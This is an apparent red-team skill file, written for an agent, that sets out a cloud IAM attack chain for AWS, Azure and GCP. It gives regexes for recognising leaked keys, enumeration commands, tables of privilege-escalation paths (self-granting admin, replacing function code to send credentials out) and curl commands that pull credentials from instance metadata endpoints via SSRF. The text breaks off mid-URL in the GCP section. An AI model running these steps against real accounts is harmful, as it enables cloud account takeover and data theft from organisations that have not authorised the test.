cloud-iam-deep

---

name: cloud-iam-deep description: Cloud IAM red-team attack chain across AWS, Azure, GCP — focused on EXTERNAL exploitation paths and post-credential-discovery privilege analysis. Covers IAM enumeration (aws iam, az role, gcloud iam), STS/AssumeRole chaining, Azure Managed Identity abuse (via SSRF/leak), GCP service account JSON abuse, IMDSv1/v2 attacks via SSRF, K8s ServiceAccount token privilege analysis once held (token discovery / cluster exposure is owned by hunt-k8s), role-trust-policy confused-deputy, cross-account assume-role enumeration, IAM privilege escalation patterns (24+ AWS, 8+ Azure, 6+ GCP), and AWS Cognito Identity Pool unauthenticated-role attack chain (GetId → GetCredentialsForIdentity → IAM role abuse). Built for the case where recon yields a credential (key, JSON, token) and you need to know what it grants and how to escalate. Use when an AWS key / Azure secret / GCP service account JSON / K8s SA token surfaces from a code repo, JS bundle, APK, breach corpus, or SSRF chain. sources: aws-iam-docs, azure-rbac-docs, gcp-iam-docs, hackingthe.cloud, pacu, peirates, prowler, rhinosecuritylabs_research, hackerone_public report_count: 6

When to use

Trigger when:

• A cloud credential surfaces (key, secret, token, JSON file)
• SSRF chain reaches IMDS / metadata endpoint
• APK / git-leak reveals embedded cloud key
• Recon shows public S3/GCS/Azure-blob with permissions you can verify
• A Kubernetes API or service-account token is exposed
• Post-RCE on a cloud-hosted instance — pivot to cloud control plane

Do NOT use for:

• On-prem-only environments (use AD attack skills — but those are out of scope per external-only boundary)
• Web2 vulns that happen to be on AWS — use the relevant hunt-* skill

---

Credential identification (first 60 seconds)

# AWS access key patterns
AKIA[0-9A-Z]{16}                # IAM user access key (long-term)
ASIA[0-9A-Z]{16}                # STS temporary credential
AGPA[0-9A-Z]{16}                # IAM group
AIDA[0-9A-Z]{16}                # IAM user (user-id)
AROA[0-9A-Z]{16}                # IAM role
ANPA[0-9A-Z]{16}                # Managed policy

# AWS secret pattern (40-char base64-ish — context required)
[A-Za-z0-9/+=]{40}              # AWS secret access key

# Azure
AccountKey=[A-Za-z0-9+/=]{86}   # Storage account key
client_secret pattern + UUID    # Azure AD app credential

# GCP service account JSON
{
  "type": "service_account",
  "project_id": "...",
  "private_key_id": "...",
  "private_key": "-----BEGIN PRIVATE KEY-----..."
}

# K8s SA token (JWT format — decode to confirm)
eyJhbGciOiJSUzI1...     # decode kid claim to see issuer

---

AWS — read-only validation (the safe first step)

# Set credential
export AWS_ACCESS_KEY_ID="AKIA..."
export AWS_SECRET_ACCESS_KEY="..."

# 1. WHO am I?
aws sts get-caller-identity
# Returns: UserId, Account, Arn
# Arn tells you: IAM user vs role, account ID, name

# 2. WHAT can I do? (the privesc question)
# Try common read-only first — failures still inform you
aws iam list-users 2>&1 | head -5
aws iam list-roles 2>&1 | head -5
aws iam list-policies 2>&1 | head -5
aws iam list-groups 2>&1 | head -5

# 3. WHAT policies are attached to me?
aws iam list-attached-user-policies --user-name <self>
aws iam list-user-policies --user-name <self>          # inline policies
aws iam list-groups-for-user --user-name <self>

# 4. Service-by-service surface
aws ec2 describe-instances --max-items 1 2>&1 | head
aws s3 ls 2>&1 | head -10
aws lambda list-functions --max-items 5 2>&1 | head
aws rds describe-db-instances --max-items 5 2>&1 | head
aws secretsmanager list-secrets --max-results 5 2>&1 | head
aws ssm describe-parameters --max-results 5 2>&1 | head

# 5. Audit any cross-account / external trust
aws iam list-roles --query 'Roles[?contains(AssumeRolePolicyDocument.Statement[0].Principal.AWS, `arn:aws:iam::`)]' 2>&1 | head -20

---

AWS privesc patterns (24+ documented — iam_privesc techniques)

Quick lookup — if you have any of these IAM actions, escalate via the listed technique:

| You have | Escalate via | |---|---| | iam:CreateAccessKey | Create access key on any user → impersonate | | iam:CreateLoginProfile | Set a console password on a user → login | | iam:UpdateLoginProfile | Reset console password on a user | | iam:AttachUserPolicy | Attach AdministratorAccess to self | | iam:AttachGroupPolicy | Attach AdministratorAccess to a group you're in | | iam:AttachRolePolicy + sts:AssumeRole | Attach to a role you can assume | | iam:PutUserPolicy | Inline AdministratorAccess to self | | iam:PutGroupPolicy | Inline policy on a group | | iam:PutRolePolicy | Inline on a role you can assume | | iam:AddUserToGroup | Add self to admin group | | iam:UpdateAssumeRolePolicy + sts:AssumeRole | Modify trust to allow self | | iam:CreatePolicyVersion | Create v2 of an attached policy with admin | | iam:SetDefaultPolicyVersion | Switch attached policy to admin version | | iam:PassRole + ec2:RunInstances | Launch EC2 as admin role → use instance creds | | iam:PassRole + lambda:CreateFunction/InvokeFunction | Run code as admin role | | iam:PassRole + cloudformation:CreateStack | CF stack creates resources as admin | | iam:PassRole + glue:CreateDevEndpoint | Notebook runs as admin role | | iam:PassRole + datapipeline | Pipeline runs as admin role | | iam:PassRole + codestar:CreateProject | New project gets admin role | | ec2:RunInstances (with admin instance profile already on the AMI) | Spin instance, exfil creds from IMDS | | lambda:UpdateFunctionCode (function has admin role) | Replace code → exfil creds | | lambda:UpdateFunctionConfiguration | Add layer / env var that exfils | | cloudformation:UpdateStack | Modify stack to grant self admin | | sts:AssumeRole (where trust allows you) | Direct privilege jump |

Many of the destructive ones are out-of-scope for an external red-team; document the path, don't always execute.

---

AWS — STS / cross-account / role chaining

# Enumerate roles you can assume across accounts
aws iam list-roles --query 'Roles[].[RoleName,AssumeRolePolicyDocument]' --output json > /tmp/roles.json
# Parse for "Principal.AWS" containing different account IDs

# Assume a role
aws sts assume-role --role-arn "arn:aws:iam::OTHER_ACCT:role/CrossAccountRole" --role-session-name "rt-1"

# Set new creds
export AWS_ACCESS_KEY_ID="ASIA..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="..."

# Verify
aws sts get-caller-identity  # should now show OTHER_ACCT

# Re-enumerate from new identity (chain continues)

Confused-deputy pattern: look for sts:ExternalId missing or trust policies that allow arn:aws:iam::*:role/*. If ExternalId is not required, anyone can assume the role.

---

AWS IMDSv1 / IMDSv2 abuse via SSRF

# IMDSv1 (legacy, still common — straight GET):
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Returns role name → fetch creds:
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
# JSON with AccessKeyId, SecretAccessKey, Token, Expiration

# IMDSv2 (requires PUT to get a token first — usually mitigates SSRF):
curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"
TOKEN=...
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/

# SSRF bypass for IMDSv2:
# Most server-side fetchers don't issue PUT requests → IMDSv2 blocks them.
# Exception: SSRF in functions that themselves perform requests with custom headers.

---

Azure — credential validation

# Login with a credential
az login --service-principal -u <appId> -p <password> --tenant <tenantId>
# OR with managed identity (from inside Azure VM)
az login --identity

# Who am I?
az account show

# Subscriptions
az account list --output table

# Role assignments (Azure RBAC)
az role assignment list --assignee <objectId> --all
az role assignment list --all --query '[?principalId==`<objectId>`]' --output table

# Resources I can read
az resource list --output table | head -30
az storage account list --output table
az keyvault list --output table
az vm list --output table

---

Azure — Managed Identity abuse

# From inside Azure VM (post-RCE or SSRF to IMDS-equivalent):
# Endpoint: http://169.254.169.254/metadata/identity/oauth2/token
curl -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

# Returns access_token for the Managed Identity. Use:
TOKEN="..."
curl -H "Authorization: Bearer $TOKEN" "https://management.azure.com/subscriptions?api-version=2020-01-01"

# Get token for Key Vault
curl -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net"

# Get token for Graph
curl -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://graph.microsoft.com"
# → If Managed Identity has Graph permissions, read all M365 data

---

Azure privesc patterns

| You have | Escalate via | |---|---| | Microsoft.Authorization/roleAssignments/write on tenant | Self-assign Owner | | Microsoft.Authorization/roleDefinitions/write | Modify role def to add powers | | Microsoft.Compute/virtualMachines/runCommand/action | Run command on VM (with VM's MI) | | Microsoft.KeyVault/vaults/secrets/getSecret/action | Read all KV secrets | | Microsoft.Storage/storageAccounts/listkeys/action | Read all storage blobs | | Microsoft.Web/sites/publishxml/action | Get publish profile → RCE on app | | Microsoft.Web/sites/host/listkeys/action | Func app key → RCE via function trigger | | Microsoft.AAD.Directory.* (App reg) + RoleManagement.ReadWrite.Directory | Grant self Global Admin |

---

GCP — service account JSON

# Activate
gcloud auth activate-service-account --key-file=sa-leaked.json

# Who am I?
gcloud auth list
gcloud config get-value account
gcloud config get-value project

# What roles does this SA have? (project-level only — not org-level)
gcloud projects get-iam-policy <projectId> \
  --flatten="bindings[].members" \
  --format="table(bindings.role)" \
  --filter="bindings.members:<sa-email>"

# Service-by-service:
gcloud compute instances list 2>&1 | head
gcloud storage buckets list 2>&1 | head
gcloud secrets list 2>&1 | head
gcloud functions list 2>&1 | head
gcloud sql instances list 2>&1 | head
gcloud container clusters list 2>&1 | head

---

GCP privesc patterns

| You have | Escalate via | |---|---| | iam.serviceAccounts.getAccessToken on higher-priv SA | Get token for that SA | | iam.serviceAccounts.implicitDelegation | Chain through delegate SAs | | iam.serviceAccounts.signBlob / signJwt on higher SA | Forge JWT for that SA | | iam.serviceAccountKeys.create | Create new key for any SA → impersonate | | iam.serviceAccounts.setIamPolicy | Grant self impersonation rights | | iam.roles.update (on custom role) | Add admin permissions to a role you have | | cloudfunctions.functions.update (function runs as high-priv SA) | Replace code → exfil creds | | cloudfunctions.functions.call + above | Trigger replacement | | compute.instances.setMetadata | Add ssh-keys metadata → SSH as root | | compute.instances.setServiceAccount | Attach higher-priv SA to instance | | cloudbuild.builds.create (build runs as project SA) | Build executes attacker code | | deploymentmanager.deployments.create | Resources created as DM SA |

---

GCP IMDS attack (via SSRF or post-RCE)

# GCP IMDS endpoint:
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"

# Returns access token. Use:
TOKEN=...
curl -H "Authorization: Bearer $TOKEN" \
  "https://cloudresourcemanager.googleapis.